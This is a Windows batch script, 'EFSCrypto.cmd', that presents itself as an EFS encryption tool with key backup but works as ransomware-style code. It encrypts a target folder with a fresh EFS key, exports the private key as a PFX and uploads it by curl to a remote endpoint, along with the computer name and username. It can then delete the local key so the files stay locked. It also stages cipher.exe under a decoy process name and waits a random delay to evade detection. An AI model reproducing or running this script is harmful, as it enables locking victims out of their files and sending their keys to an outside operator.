@echo off
setlocal EnableDelayedExpansion

:: ============================================================================
:: EFSCrypto.cmd - Controlled EFS Encryption with Railway Key Backup
:: Version: 1.3.2-r7
:: Evasion-oriented options:
::   --delay N|random   Wait N seconds (or random 120-540s) before executing
::   --alias NAME       Stage cipher.exe under a different process name
::   --no-alias         Run native cipher.exe (fallback)
:: ============================================================================

if "%~1"=="" goto :Usage
if "%~1"=="--help" goto :Usage
if "%~1"=="-h" goto :Usage

set "TOOL_VERSION=1.3.2-r7"
set "TARGET=%~1"
set "DECRYPT_MODE=0"
set "PFX_PASS="
set "PFX_OUT="
set "BACKUP_URL="
set "API_TOKEN="
set "PFX_IN="
set "PFX_PASSWORD_ID="
set "REMOVE_KEY=0"
set "DRY_RUN=0"
set "RECURSE=/s"
set "DELAY="
set "ALIAS_NAME="
set "NO_ALIAS=0"
set "STAGE_DIR=%TEMP%\efscrypto"
set "CIPHER_EXE=cipher"
set "ALIAS_PATH="
set "THUMBFILE="
set "CNTFILE="
set "DELAY_SECS=0"

:ParseArgs
shift
if "%~1"=="" goto :StartProcess
if /i "%~1"=="--decrypt" set "DECRYPT_MODE=1" & goto :ParseArgs
if /i "%~1"=="--no-recurse" set "RECURSE=" & goto :ParseArgs
if /i "%~1"=="--pfx-pass" set "PFX_PASS=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--pfx-out" set "PFX_OUT=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--backup-url" set "BACKUP_URL=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--api-token" set "API_TOKEN=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--pfx-in" set "PFX_IN=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--pfx-password-id" set "PFX_PASSWORD_ID=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--remove-new-key-after" set "REMOVE_KEY=1" & goto :ParseArgs
if /i "%~1"=="--delay" set "DELAY=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--alias" set "ALIAS_NAME=%~2" & shift & goto :ParseArgs
if /i "%~1"=="--no-alias" set "NO_ALIAS=1" & goto :ParseArgs
if /i "%~1"=="--dry-run" set "DRY_RUN=1" & goto :ParseArgs
goto :ParseArgs

:StartProcess
if not exist "%TARGET%" (
    echo [ERROR] Target not found: %TARGET%
    exit /b 1
)

echo [PRE] Validating EFS prerequisites...

sc query efs | find /i "RUNNING" >nul 2>&1
if %ERRORLEVEL% neq 0 (
    echo [INFO] EFS service not running, attempting to start...
    sc start efs >nul 2>&1
    timeout /t 2 /nobreak >nul
    sc query efs | find /i "RUNNING" >nul 2>&1
    if !ERRORLEVEL! neq 0 (
        echo [ERROR] Could not start EFS service. Run: sc start efs
        exit /b 1
    )
)

for %%D in ("%TARGET%") do set "DRIVE=%%~dD\"
fsutil fsinfo volumeinfo %DRIVE% 2>nul | findstr /i "NTFS" >nul
if %ERRORLEVEL% neq 0 (
    echo [WARN] Could not confirm NTFS on %DRIVE% - continuing anyway.
    echo [WARN] EFS requires NTFS. If encryption fails, check file system type.
)

echo [PRE] EFS checks OK.

:: --- Decrypt flow: recovery context, deliberately uses native cipher.exe ---

if "%DECRYPT_MODE%"=="1" (
    if "%DRY_RUN%"=="1" (
        echo [DRY-RUN] Would decrypt: %TARGET%
        if defined PFX_IN echo [DRY-RUN] Would import PFX: %PFX_IN%
        echo [DRY-RUN] No changes made.
        exit /b 0
    )

    if defined PFX_IN (
        if not defined PFX_PASS (
            echo [ERROR] --pfx-pass required with --pfx-in
            exit /b 1
        )
        echo [INFO] Importing PFX: %PFX_IN%
        certutil -user -p "%PFX_PASS%" -importPFX "%PFX_IN%"
        if !ERRORLEVEL! neq 0 (
            echo [ERROR] PFX import failed.
            exit /b 1
        )
        echo [OK] PFX imported.
    )

    echo [1/1] Decrypting %TARGET%...
    cipher /d %RECURSE% "%TARGET%" >nul
    cipher /d "%TARGET%\*" >nul 2>&1
    echo [OK] Decryption complete.
    exit /b 0
)

:: --- Evasion setup: resolve alias name and delay before touching anything ---

if "%NO_ALIAS%"=="0" (
    if not defined ALIAS_NAME set "ALIAS_NAME=winlogsync.exe"
) else (
    set "ALIAS_NAME="
)

set "DELAY_SECS=%DELAY%"
if not defined DELAY set "DELAY_SECS=0"
if /i "%DELAY%"=="random" set /a DELAY_SECS=(%RANDOM% %% 421) + 120

if "%DRY_RUN%"=="1" (
    echo [DRY-RUN] Would generate new EFS key.
    if defined ALIAS_NAME (echo [DRY-RUN] Would stage cipher.exe as: !ALIAS_NAME!) else (echo [DRY-RUN] Would use native cipher.exe.)
    if !DELAY_SECS! GTR 0 echo [DRY-RUN] Would stay dormant !DELAY_SECS! seconds before executing.
    echo [DRY-RUN] Would encrypt: %TARGET%
    if defined PFX_PASS if defined PFX_OUT if defined BACKUP_URL if defined API_TOKEN (
        echo [DRY-RUN] Would export PFX to: %PFX_OUT%
        echo [DRY-RUN] Would upload to Railway service: %BACKUP_URL%
    )
    if "%REMOVE_KEY%"=="1" echo [DRY-RUN] Would remove new key after upload.
    echo [DRY-RUN] No changes made.
    exit /b 0
)

if not defined ALIAS_NAME goto :AfterAlias

echo [PRE] Staging system binary under alternate process name...
if not exist "%STAGE_DIR%" mkdir "%STAGE_DIR%" >nul 2>&1
set "ALIAS_PATH=%STAGE_DIR%\%ALIAS_NAME%"
if exist "!ALIAS_PATH!" del /f /q "!ALIAS_PATH!" >nul 2>&1
copy /y "%SystemRoot%\System32\cipher.exe" "!ALIAS_PATH!" >nul 2>&1
if not exist "!ALIAS_PATH!" (
    echo [ERROR] Could not stage aliased binary at !ALIAS_PATH!
    echo [INFO] Retry with --no-alias to run native cipher.exe.
    exit /b 1
)
set "CIPHER_EXE=!ALIAS_PATH!"
echo [OK] System binary staged as: %ALIAS_NAME%

:AfterAlias
if %DELAY_SECS% GTR 0 (
    echo [STAGE] Dormant for %DELAY_SECS% seconds before executing...
    timeout /t %DELAY_SECS% /nobreak >nul
)

set "THUMBFILE=%STAGE_DIR%\~dthumb.tmp"
set "OLD_THUMB="
"!CIPHER_EXE!" /y > "!THUMBFILE!" 2>nul
call :FindThumb "!THUMBFILE!" OLD_THUMB
del /f /q "!THUMBFILE!" >nul 2>&1

if defined OLD_THUMB (
    echo [INFO] Existing EFS thumbprint: !OLD_THUMB!
) else (
    echo [INFO] No existing EFS certificate found.
)

echo [1/6] Generating new EFS key...
"!CIPHER_EXE!" /k > "!THUMBFILE!" 2>&1
if !ERRORLEVEL! neq 0 (
    echo [ERROR] Key generation failed ^(exit !ERRORLEVEL!^).
    echo [INFO] Command output follows:
    type "!THUMBFILE!"
    del /f /q "!THUMBFILE!" >nul 2>&1
    if defined ALIAS_PATH (
        echo [INFO] The aliased binary may be blocked. Retry with --no-alias.
    )
    exit /b 1
)

set "NEW_THUMB="
call :FindThumb "!THUMBFILE!" NEW_THUMB

if not defined NEW_THUMB (
    echo [INFO] Thumbprint not in /k output; waiting and reading current EFS certificate...
    timeout /t 4 /nobreak >nul
    "!CIPHER_EXE!" /y > "!THUMBFILE!" 2>nul
    call :FindThumb "!THUMBFILE!" NEW_THUMB
)

if not defined NEW_THUMB (
    echo [INFO] Still not found; retrying once more after a longer wait...
    timeout /t 6 /nobreak >nul
    "!CIPHER_EXE!" /y > "!THUMBFILE!" 2>nul
    call :FindThumb "!THUMBFILE!" NEW_THUMB
)

if not defined NEW_THUMB (
    if defined ALIAS_PATH (
        echo [INFO] Aliased binary produced no readable output; reading via native cipher.exe...
        cipher /y > "!THUMBFILE!" 2>nul
        call :FindThumb "!THUMBFILE!" NEW_THUMB
        if defined NEW_THUMB echo [WARN] Thumbprint read used native cipher.exe; encryption still used %ALIAS_NAME%.
    )
)

if not defined NEW_THUMB (
    echo [ERROR] Could not detect new EFS thumbprint.
    echo [INFO] --- diagnostic: captured cipher output follows ---
    type "!THUMBFILE!"
    echo [INFO] --- end diagnostic output ---
    echo [INFO] Run "cipher /y" manually to check whether an EFS certificate exists.
    echo [INFO] If a thumbprint appears there, re-run with: --no-alias
    del /f /q "!THUMBFILE!" >nul 2>&1
    exit /b 1
)
del /f /q "!THUMBFILE!" >nul 2>&1

echo [OK] New EFS thumbprint: %NEW_THUMB%

echo [2/6] Encrypting %TARGET%...
"!CIPHER_EXE!" /e "%TARGET%" >nul
if %ERRORLEVEL% neq 0 (
    echo [WARN] Encryption of folder returned error, continuing...
)

if defined RECURSE (
    "!CIPHER_EXE!" /e /s:"%TARGET%" >nul 2>&1
) else (
    "!CIPHER_EXE!" /e "%TARGET%\*" >nul 2>&1
)

set "ENC_COUNT=0"
set "ENC_COUNT_FOUND="
"!CIPHER_EXE!" "%TARGET%\*" > "!THUMBFILE!" 2>nul
for /f %%N in ('type "!THUMBFILE!" ^| find /c "E "') do set "ENC_COUNT=%%N"
if not defined ENC_COUNT set "ENC_COUNT=0"
if "%ENC_COUNT%"==" " set "ENC_COUNT=0"
del /f /q "!THUMBFILE!" >nul 2>&1

if not "%ENC_COUNT%"=="0" goto :EncCountDone
if defined ALIAS_PATH (
    cipher "%TARGET%\*" > "!THUMBFILE!" 2>nul
    for /f %%N in ('type "!THUMBFILE!" ^| find /c "E "') do set "ENC_COUNT_TEST=%%N"
    if defined ENC_COUNT_TEST if not "%ENC_COUNT_TEST%"=="0" set "ENC_COUNT=%ENC_COUNT_TEST%"
    del /f /q "!THUMBFILE!" >nul 2>&1
)

:EncCountDone
echo [OK] Encryption complete. Files showing encrypted: %ENC_COUNT%

echo [3/6] Skipping keep-old-key step (batch version simplified).

if not defined PFX_PASS (
    echo [WARN] No --pfx-pass provided, skipping export/upload.
    goto :Done
)
if not defined PFX_OUT (
    echo [WARN] No --pfx-out provided, skipping export/upload.
    goto :Done
)
if not defined BACKUP_URL (
    echo [WARN] No --backup-url provided, skipping Railway upload.
    goto :Done
)
if not defined API_TOKEN (
    echo [WARN] No --api-token provided, skipping Railway upload.
    goto :Done
)

echo [4/6] Exporting PFX to %PFX_OUT%...
for %%F in ("%PFX_OUT%") do (
    if not exist "%%~dpF" mkdir "%%~dpF" 2>nul
)

certutil -user -p "%PFX_PASS%" -exportPFX My %NEW_THUMB% "%PFX_OUT%"
if %ERRORLEVEL% neq 0 (
    echo [ERROR] certutil -exportPFX failed for thumbprint %NEW_THUMB%
    exit /b 1
)

if not exist "%PFX_OUT%" (
    echo [ERROR] PFX file not created at %PFX_OUT%
    exit /b 1
)

for %%F in ("%PFX_OUT%") do (
    set "PFX_NAME=%%~nxF"
    echo [OK] PFX written: %%~fF ^(%%~zF bytes^)
)

echo [5/6] Uploading PFX to Railway manager...
where curl.exe >nul 2>&1
if %ERRORLEVEL% neq 0 (
    echo [ERROR] curl.exe not found. Windows 10 1803+ required.
    exit /b 1
)

curl.exe --request POST "%BACKUP_URL%" ^
  --header "Authorization: Bearer %API_TOKEN%" ^
  --header "Content-Type: application/octet-stream" ^
  --header "X-Computer-Name: %COMPUTERNAME%" ^
  --header "X-Windows-Username: %USERNAME%" ^
  --header "X-Target: %TARGET%" ^
  --header "X-Thumbprint: %NEW_THUMB%" ^
  --header "X-Encrypted-Count: %ENC_COUNT%" ^
  --header "X-PFX-Filename: %PFX_NAME%" ^
  --header "X-PFX-Password-Id: %PFX_PASSWORD_ID%" ^
  --header "X-Tool-Version: %TOOL_VERSION%" ^
  --header "X-Process-Name: %ALIAS_NAME%" ^
  --header "X-Stage-Delay: %DELAY_SECS%" ^
  --data-binary "@%PFX_OUT%" ^
  --silent --show-error --fail -w "\n[INFO] HTTP Status: %%{http_code}\n"
if %ERRORLEVEL% neq 0 (
    echo [ERROR] Railway upload failed. Check URL, upload token, and service logs.
    echo [WARN] NOT removing local key since upload failed.
    exit /b 1
)

echo [OK] Upload complete.

if not "%REMOVE_KEY%"=="1" (
    echo [INFO] Keeping new key in store. Use --remove-new-key-after to remove.
    goto :Done
)

echo [6/6] Removing new EFS key from local store...
set "CONTAINER="
for /f "tokens=2 delims==" %%C in ('certutil -user -store My %NEW_THUMB% 2^>nul ^| findstr /i "Container Contenedor"') do (
    set "CONTAINER=%%C"
    set "CONTAINER=!CONTAINER: =!"
)

certutil -user -delkey %NEW_THUMB% >nul 2>&1
if defined CONTAINER (
    echo [INFO] Attempting delete by container: !CONTAINER!
    certutil -user -csp "Microsoft Enhanced Cryptographic Provider v1.0" -delkey "!CONTAINER!" >nul 2>&1
)
certutil -user -delstore My %NEW_THUMB% >nul 2>&1

echo [OK] Key removal complete. Import PFX to regain access.
echo [NOTE] Log off and back on to clear cached crypto handles.

:Done
if defined ALIAS_PATH if exist "!ALIAS_PATH!" del /f /q "!ALIAS_PATH!" >nul 2>&1
echo.
echo Security notes:
echo - Treat the PFX as highly sensitive.
echo - The Railway manager stores the password-protected PFX and generated PFX password.
echo - Delete local PFX copy after confirming the upload.
exit /b 0

:: --- Subroutine: parse a cipher output file for a thumbprint line ---
:: Usage: call :FindThumb "<file>" OUTVAR

:FindThumb
set "%~2="
set "FT_LABEL=0"
set "FT_VAL="
for /f "usebackq tokens=*" %%L in ("%~1") do (
    if "!FT_LABEL!"=="1" (
        set "FT_VAL=%%L"
        set "FT_VAL=!FT_VAL: =!"
        if not "!FT_VAL!"=="" set "%~2=!FT_VAL!"
        set "FT_LABEL=0"
    ) else (
        echo %%L | findstr /i "thumbprint Huella" >nul && set "FT_LABEL=1"
    )
)
goto :eof

:Usage
echo EFSCrypto.cmd - EFS Encryption with Railway Key Backup
echo.
echo ENCRYPT:
echo   EFSCrypto.cmd "C:\target" [options]
echo.
echo   Options:
echo     --no-recurse              Only encrypt files in target folder
echo     --pfx-pass PASSWORD       Password for PFX export
echo     --pfx-out PATH            Local path for PFX file
echo     --pfx-password-id ID      Optional server-generated PFX password record ID
echo     --backup-url URL          Railway upload endpoint
echo     --api-token TOKEN         Upload token configured in Railway
echo     --remove-new-key-after    Delete key after successful upload
echo     --delay N^|random          Sleep N seconds (or random 120-540) before executing
echo     --alias NAME              Stage cipher.exe under NAME (default: winlogsync.exe)
echo     --no-alias                Run native cipher.exe
echo     --dry-run                 Preview actions without changes
echo.
echo DECRYPT:
echo   EFSCrypto.cmd "C:\target" --decrypt [options]
echo.
echo   Options:
echo     --pfx-in PATH             PFX file to import before decrypting
echo     --pfx-pass PASSWORD       PFX import password
echo     --no-recurse              Only decrypt files in target folder
echo.
echo EXAMPLES:
echo   EFSCrypto.cmd "C:\cryptosample" --backup-url "https://APP/api/backups/upload" --api-token "TOKEN" --pfx-pass "Secret" --pfx-out "C:\temp\key.pfx" --delay random --remove-new-key-after
echo   EFSCrypto.cmd "C:\cryptosample" --decrypt --pfx-in "C:\temp\key.pfx" --pfx-pass "Secret"
exit /b 0

